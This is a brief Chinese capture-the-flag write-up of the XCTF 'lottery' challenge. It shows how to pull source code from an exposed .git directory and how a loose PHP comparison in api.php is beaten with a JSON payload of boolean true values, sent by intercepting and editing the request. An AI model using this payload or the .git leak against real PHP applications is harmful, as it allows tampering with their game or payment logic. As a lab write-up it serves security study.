xctf之git 泄露 源码审计lottery

首先 访问 /robots.txt 或者 /.git/ 发现 Git 仓库可以 GitHack 拿到源码

源码链接:https://pan.baidu.com/s/1GJgmQ5xH4OGglypAtKHOIA

提取码:km6j

漏洞在 api.php

function buy($req){

    require_registered();

    require_min_money(2);

$money = $_SESSION['money'];

$numbers = $req['numbers'];

$win_numbers = random_win_nums();

$same_count = 0;

for($i=0; $i<7; $i++){

    if($numbers[$i] == $win_numbers[$i]){

        $same_count++;

    }

}

其中$numbers来自用户json输入{"action":"buy","numbers":"1122334"},没有检查数据类型。$win_numbers是随机生成的数字字符串。

使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,发送:

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

当每一位中奖号码都不是0时即可中最高奖,攒钱买flag。 

你可能感兴趣的:(xctf之git 泄露 源码审计lottery)